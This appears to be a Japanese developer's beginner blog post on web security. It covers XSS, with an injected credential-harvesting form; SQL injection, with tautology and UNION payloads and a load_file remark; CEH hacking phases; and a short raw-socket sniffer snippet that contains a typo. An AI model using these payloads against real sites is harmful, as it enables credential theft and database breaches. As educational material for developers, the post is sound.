webアプリにおける脆弱性やハッキング手法などのセキュリティについて

## はじめに

突然ですが、質問です。
2020年に登録された脆弱性で **一番多かったもの** は何かご存知ですか？

<br>
<br>
正解は **クロスサイトスクリプティング** です
(2020年上半期、脆弱性対策情報のデータベースのJVN iPediaに登録されたもの)

2020年上半期（1月～6月）にJVN iPediaへ登録された脆弱性で一番多かったのはクロスサイトスクリプティングで **1099件** だそうです

また、情報の漏えいや改ざんされるような**危険度が高い脅威であるものが全体の86.2％**も占めています

本記事では開発者として他人事だと思わずセキュリティについて調べてみようかと思います
**※自分自身調べながら書いているので足りない部分の不足している情報はあるかと思いますがご了承ください**

参考
https://www.ipa.go.jp/security/vuln/report/JVNiPedia2020q1.html
https://www.ipa.go.jp/security/vuln/report/JVNiPedia2020q2.html


## クロスサイトスクリプティング(XSS)

まずは上述したクロスサイトスクリプティングについてです

クロスサイトスクリプティングとは攻撃対象の脆弱性のあるwebサイトに、悪意のある第三者がそこへ罠を仕掛け、訪問した人の個人情報などを盗みとるもの

参考
https://www.kagoya.jp/howto/network/xss/

### 発生しうる脅威

1. セッションハイジャック
2. 不正な書き込み
3. フィッシング

http://www.tohoho-web.com/ex/xss.html

### 反射型XSSを実際に試してみる

脆弱性のある掲示板などに**悪意のあるコードを投稿する**ことによって**悪意のあるformを掲示板などに表示**できる
そこにユーザーIDやパスワードを入力して送信してしまうと**action属性で指定された場所に個人情報が送信され情報が抜き取られる**ので注意(以下gifを見ると想像しやすい)

![ezgif.com-gif-maker.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/920178/52d51045-ae83-30dd-b0cc-e8af93b372c7.gif)

```html
<!-- テキストボックスに入れたコード -->
<form action="任意の送信先" method="post">
  ユーザーID<input type="text" name="user" />
  パスワード<input type="password" name="password" />
  <input type="submit" value="送信" /><br/>
</form>
```


## SQLインジェクション

次にSQLインジェクションです
これも有名で聞いたことある人は多いと思います

「SQL」に、不正なプログラムを注入するサイバー攻撃の総称

参考：https://www.amiya.co.jp/column/sql_injection_20200518.html

### 発生しうる脅威

1. 個人情報流出
2. 情報改ざん・消去
3. 不正ログイン

参考
https://www.kagoya.jp/howto/network/sql-injection/

### 実際にどんなSQLが発行されるのか

#### 1. 以下のようにusersテーブルとデータを作成


```sql
 CREATE TABLE users
    (
        id     INTEGER NOT NULL,
        name   CHAR(32),
        age INTEGER,
        job_id INTEGER,
        PRIMARY KEY (id)
    );

CREATE TABLE jobs
    (
        id     INTEGER NOT NULL,
        job_name   CHAR(32),
        PRIMARY KEY (id)
    )
 ;


INSERT INTO users(id, name, age, job_id) VALUES
(1, '佐藤', 10, 1),
(2, '鈴木', 20, 2),
(3, '山本', 30, 1);
        
INSERT INTO jobs(id, job_name) VALUES
(1, 'company1'),
(2, 'company2');
```

#### 2 作成したテーブルに対してSQLを実行して情報取得

以下を実行して全ての情報を見れます
ポイントは**「or '' = ''」のおかげで必ず条件を満たすようになっている**ところ
しっかりと、**エスケープなどしておかないとユーザーが以下のようなSQLを発行できて、自由にDBの情報を見れてしまう**

他にも**unionを使って**複数テーブルに渡っての情報取得や**load_file('任意のファイル名')を使用すればパスワードファイルなどを見れる**と思います

```sql
select * FROM users WHERE id = '%' or '' = ''

-- unionを使った例
-- usersとjobsテーブルを取得できる
-- select * FROM users WHERE id = '%' or '' = '' union select id, job_name, null, null from jobs;
```

このようにusersテーブルの全情報が取得できます
union使えばjobsテーブルも取れます

|id| name | age | job_id |
| :-: | :-: | :-: | :-: |
|1        |  佐藤 |   10   | 1 |
|2        |  鈴木 |   20   | 2 |
|3        |  山本 |   30   | 1 |

## ハッキング手法について

ここからはハッキング手法について少し調べてみます
まず、**CEH（認定ホワイトハッカー）で定義されているハッキングフェーズ**を見てみます

1. 偵察 
    2. 公開されているターゲットについての情報(SNSなど)をターゲットについての情報収集をするための探査を行う準備フェーズ
2. スキャン 
    3. スキャンとは、攻撃者が、偵察で収集した情報を基に特定の情報を求めてネットワークをスキャンする攻撃前のフェーズ
3. アクセス権の取得 
    4. アクセス権限の取得とは、攻撃者が、ターゲットのサーバーへのアクセス権を得ること
4. アクセス権の維持 
    5. 自由にアクセスできるように攻撃者が自身のシステムの所有権を保持しようとするフェーズ
5. 痕跡の隠蔽
    6. 侵入がばれないよう隠蔽

参考
https://www.bsigroup.com/globalassets/localfiles/ja-jp/psj/ceh-wp/certified-ethical-hacker-whitepaper-download-documents.pdf

### ネットワーク情報の収集

ここからは具体的なハッキング手法について抜粋してさらに調べてみます

1つ目は偵察手法のひとつでネットワーク情報の収集
whoisでドメイン情報を調べられます

https://whois.jprs.jp/

### パケットスニッフィング(パケット盗聴)

2つ目はパケットスニッフィングです

スニッフィングとは、ネットワークを流れるデータを捕らえ、内容を解析して盗み見ること
**暗号化されずに流れているデータはすべて見ることができる**

参考
http://e-words.jp/w/%E3%82%B9%E3%83%8B%E3%83%83%E3%83%95%E3%82%A3%E3%83%B3%E3%82%B0.html

簡単なコード
別ターミナルで指定した場所にpingを送信するとデータを見ることができる

参考
https://engineeringnote.hateblo.jp/entry/python/bhp/3-2#%E3%83%91%E3%82%B1%E3%83%83%E3%83%88%E3%82%B9%E3%83%8B%E3%83%83%E3%83%95%E3%82%A1%E3%83%BC%E3%81%AE%E5%AE%9F%E8%A3%85

```python
inport socket

sniff = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
sniff.bind((host, 0))
sniff.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
```

参考
https://teratail.com/questions/258016
https://stackoverrun.com/ja/q/11376162

## まとめ

脆弱性やハッキング手法について調べていきました
これからはさらに、セキュリティについての知見を深めていきたいです。